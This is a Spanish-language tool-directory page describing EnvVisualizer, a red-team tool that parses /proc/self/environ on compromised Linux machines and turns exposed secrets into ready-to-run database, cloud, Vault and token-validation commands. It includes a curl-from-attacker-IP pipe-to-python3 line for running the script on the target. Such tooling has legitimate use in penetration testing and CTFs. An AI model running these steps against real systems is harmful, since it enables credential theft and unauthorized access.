Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
EnvVisualizer — Analiza y visualiza /proc/self/environ en máquinas Linux comprometidas — categoriza las variables de entorno por stack tecnológico (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) y genera hallazgos clasificados por severidad con comandos listos para ejecutar | Kitploit
Herramientas/GitHubGitHub/w4r10ck423/envvisualizer
Herramientas DefensivasAnálisis de VulnerabilidadesAuditoría de ConfiguraciónRecopilación de InformaciónPost-ExplotaciónCTFPruebas de PenetraciónSeguridad en la NubeDetección de Secretos

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Red Teaming
GitHubw4r10ck423/envvisualizer

EnvVisualizer

Analiza y visualiza /proc/self/environ en máquinas Linux comprometidas — categoriza las variables de entorno por stack tecnológico (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) y genera hallazgos clasificados por severidad con comandos listos para ejecutar

Ver Repositorio
44hace 4 mesesAún no revisado

EnvVisualizer

root@kitploit:~
___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

Analiza, categoriza y visualiza /proc/self/environ en máquinas Linux comprometidas.
Convierte un muro de texto de variables de entorno fusionadas en inteligencia estructurada y codificada por colores — en segundos.


Python Platform License Context Author

Autor: @W4r10ck423


El Problema

Cuando accedes a una máquina y lees /proc/self/environ, obtienes esto:

root@kitploit:~
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer lo convierte en esto:

root@kitploit:~
============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

Con rich instalado, cada categoría obtiene su propia tabla codificada por colores.


Características

  • Tres modos de entrada — lee el archivo directamente (precisión perfecta), canaliza vía stdin, o pega una cadena en bruto
  • Parser inteligente de dos clases — maneja correctamente cadenas concatenadas donde los bytes nulos fueron eliminados por copiar y pegar; detecta variables POSIX en mayúsculas y variables conocidas con prefijo en minúsculas (npm_*, node_*, pip_*, etc.)
  • Seis categorías semánticas — Seguridad/Autenticación, Identidad, Rutas y Directorios, NPM/Node, Red/Proxy, Sistema, y Otros
  • Expansión de PATH — cada directorio listado como un punto de viñeta en lugar de un muro separado por dos puntos
  • Detección de secretos — marca variables cuyos nombres o valores coinciden con patrones de credenciales (TOKEN, KEY, SECRET, PASSWORD, etc.) con una advertencia ⚠
  • Panel de Pentest Insights — muestra automáticamente hallazgos accionables: contexto de root, escalada de sudo, puertos de depurador de Node.js expuestos, scripts de ciclo de vida activos
  • Rich o plano — tablas codificadas por colores con rich instalado; salida de texto plano limpia como respaldo (sin dependencias requeridas)

Instalación

Opción 1 — Clonar y ejecutar (recomendado para entornos de pentest)

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

Opción 2 — Instalar como comando del sistema

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

Opción 3 — Archivo único (sin git requerido)

Copia envvisualizer.py a la máquina objetivo o atacante. Se ejecuta sin dependencias:

root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

Requisitos

DependenciaVersiónRequerida
Python≥ 3.8Sí
rich≥ 13.0No (respaldo de texto plano)

Uso

root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

Modos de entrada

Consejo: Prefiere -f siempre que tengas acceso al archivo.
El delimitador de byte nulo en el archivo real es exacto — no se necesitan heurísticas.


Ejemplos

Leer directamente desde proc (mejor precisión)

root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

Canalizar vía stdin

root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py

Pegar una cadena en bruto (copiada de un web shell / salida de RCE)

root@kitploit:~
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

Salida de texto plano (sin dependencia rich)

root@kitploit:~
python3 envvisualizer.py -f /proc/self/environ --no-rich

Categorías de Salida

Las variables se agrupan en 12 categorías, evaluadas en orden de prioridad (la primera coincidencia gana).


Pentest Insights

El panel de Pentest Insights dispara detecciones específicas y conscientes del stack con cuatro niveles de severidad.
Los comandos listos para ejecutar se generan al vuelo a partir de los valores reales encontrados en el entorno.

Detecciones por stack tecnológico

Ejemplo de salida (escenario multi-stack)

root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
  [!!!]  PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
  [!!!]  DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
  [!!!]  MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
  [!!!]  AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE  (run: aws sts get-caller-identity)
  [!!!]  HashiCorp Vault token in env → vault token lookup  addr: http://vault.internal:8200
  [!!!]  Stripe LIVE secret key — production payment API access
  [!!!]  Rails master key in env — decrypts config/credentials.yml.enc
  [!! ]  Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
  [!! ]  Inside Kubernetes pod → service host: 10.96.0.1
  [!! ]  GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
  [!! ]  Django DEBUG=True — full stack traces served to users
  [!! ]  JVM remote debugging enabled → -agentlib:jdwp=...  (try: jdb -attach <host>:<port>)
  [ * ]  Python venv active → /var/www/myapp/.venv

Cómo Funciona el Parser de Cadenas

Cuando /proc/self/environ se copia y pega (por ejemplo, desde un web shell o salida de curl), los bytes nulos se eliminan, fusionando variables adyacentes:

root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
     ↑──↑↑───────────────────↑
   value    next key starts here

Una división ingenua por WORD= produciría devnpm_config_user_agent como clave.

EnvVisualizer utiliza un detector de límites de dos clases que solo divide en:

  1. Claves predominantemente en mayúsculas — USER, HOME, JOURNAL_STREAM, etc.
  2. Prefijos conocidos en minúsculas — npm_*, node_*, pip_*, java_*, python_*, ruby_*, etc.

Debido a que la regex encuentra npm_config_user_agent dentro del token fusionado, el valor anterior se recorta automáticamente a dev. Sin lookbehind, sin suposiciones de límites de palabra — solo el patrón de clave mismo como ancla.


Licencia

MIT — úsalo libremente, se agradece la atribución.

Descargar herramienta
MétodoComandoPrecisión
Lectura directa de archivopython3 envvisualizer.py -f /proc/self/environ✅ Perfecta (división por byte nulo)
Tubería stdincat /proc/self/environ | python3 envvisualizer.py✅ Perfecta (división por byte nulo)
Cadena pegadapython3 envvisualizer.py -r 'USER=dev...'✅ Buena (heurística de dos clases)
Sin argumentos (demo)python3 envvisualizer.py✅ Perfecta (proceso propio)
CategoríaVariables Típicas
🔐 Seguridad / AutenticaciónSSH_*, SUDO_*, cualquier cosa que coincida con TOKEN, KEY, SECRET, PASSWORD, CREDENTIAL, CERT
👤 IdentidadUSER, LOGNAME, HOME, SHELL, UID, GID
🗄 Base de DatosPG*, MYSQL_*, MONGO*, REDIS_*, DATABASE_URL, DB_*, ELASTIC*, CASSANDRA_*, SQLALCHEMY_*
☁ Nube / InfraestructuraAWS_*, GOOGLE_*, AZURE_*, ARM_*, DOCKER_*, KUBERNETES_*, VAULT_*, TF_*, CLOUDFLARE_*
🔄 CI/CD y VCSGITHUB_*, GITLAB_*, CI_*, TRAVIS_*, CIRCLE*, JENKINS_*, HEROKU_*, BUILD_*
🔌 APIs de TercerosSTRIPE_*, TWILIO_*, SENDGRID_*, SENTRY_*, DD_*, SLACK_*, OPENAI_*, ALGOLIA_*, AUTH0_*
🕸 Frameworks WebDJANGO_*, FLASK_*, RAILS_*, SPRING_*, ASPNETCORE_*, APP_KEY/ENV/DEBUG, SECRET_KEY_BASE, MIX_ENV, NEXT_*, VITE_*, REACT_APP_*
🐍 Runtimes de AplicaciónPYTHON*, CONDA_*, VIRTUAL_ENV, GEM_*, BUNDLE_*, JAVA_*, JVM_*, MAVEN_*, CATALINA_*, GO*, RUST*, CARGO_*, PHP_*, DOTNET_*, PERL*, DENO_*
📦 NPM / Nodenpm_*, NODE, NODE_ENV, NODE_OPTIONS
📂 Rutas y DirectoriosPATH, PWD, *_DIR, *_PREFIX, *_HOME, *_CACHE, INIT_CWD
🌐 Red / Proxy*_PROXY, HOSTNAME, SSL_CERT_*, CURL_CA_BUNDLE, *_URL, *_ADDR
⚙ SistemaLANG, TERM, EDITOR, INVOCATION_ID, JOURNAL_STREAM, XDG_*, LC_*
OtrosTodo lo demás, ordenado alfabéticamente
SeveridadPrefijoSignificado
💀 CRITICAL[!!!]Credencial activa, clave secreta o clave maestra — impacto inmediato
⚠ HIGH[!! ]Token, modo debug o servicio expuesto — ruta de ataque accionable
→ MEDIUM[! ]Información interesante que puede asistir la escalada
▶ INFO[ * ]Contexto general sobre el proceso y el entorno
StackQué se detecta
PostgreSQLPGPASSWORD → construye automáticamente psql postgresql://user:pass@host/db
MySQL / MariaDBMYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → construye automáticamente el comando mysql
MongoDBMONGO_INITDB_ROOT_* → construye automáticamente el comando mongosh
RedisREDIS_PASSWORD → construye automáticamente el comando redis-cli -a
URLs de BDDATABASE_URL, MONGODB_URI, etc. → marca credenciales incrustadas
AWSPar de claves → marca como de largo plazo o temporal STS, sugiere aws sts get-caller-identity
GCPGOOGLE_APPLICATION_CREDENTIALS → sugiere gcloud auth activate-service-account
AzureAZURE_CLIENT_SECRET → marca el ID de inquilino + sugiere az login --service-principal
HashiCorp VaultVAULT_TOKEN + VAULT_ADDR → sugiere vault token lookup
KubernetesKUBERNETES_SERVICE_HOST inyectado → marca contexto de pod, sugiere lectura de token SA
DockerDOCKER_HOST establecido → marca exposición del daemon
GitHub / GitLabTokens → sugiere comandos curl de validación de API
HerokuHEROKU_API_KEY → marca con nombre de aplicación
Stripesk_live_* en vivo → CRITICAL; sk_test_* de prueba → MEDIUM
DatadogDD_API_KEY → marca acceso a métricas/logs/trazas
SlackSLACK_BOT_TOKEN / SLACK_APP_TOKEN → marca acceso al workspace
OpenAIOPENAI_API_KEY → marca exposición de facturación
DjangoDJANGO_DEBUG=True → marca exposición de stack trace
FlaskFLASK_DEBUG=1 → marca depurador interactivo de Werkzeug (bypass de PIN / SSTI)
LaravelAPP_DEBUG=true + APP_KEY=base64:* → marca ruta de falsificación de cookies
RailsRAILS_MASTER_KEY → CRITICAL (descifra credentials.yml.enc); SECRET_KEY_BASE → falsificación de cookie de sesión
JVMJAVA_TOOL_OPTIONS con jdwp → marca puerto de depuración remota, sugiere jdb -attach
TomcatCATALINA_HOME → marca ruta a tomcat-users.xml
Node.js--inspect / --inspect-brk → marca depurador, sugiere chrome://inspect
KerberosKRB5CCNAME → marca caché de tickets, sugiere klist / Impacket
SudoSUDO_USER → muestra UID/GID original antes de la escalada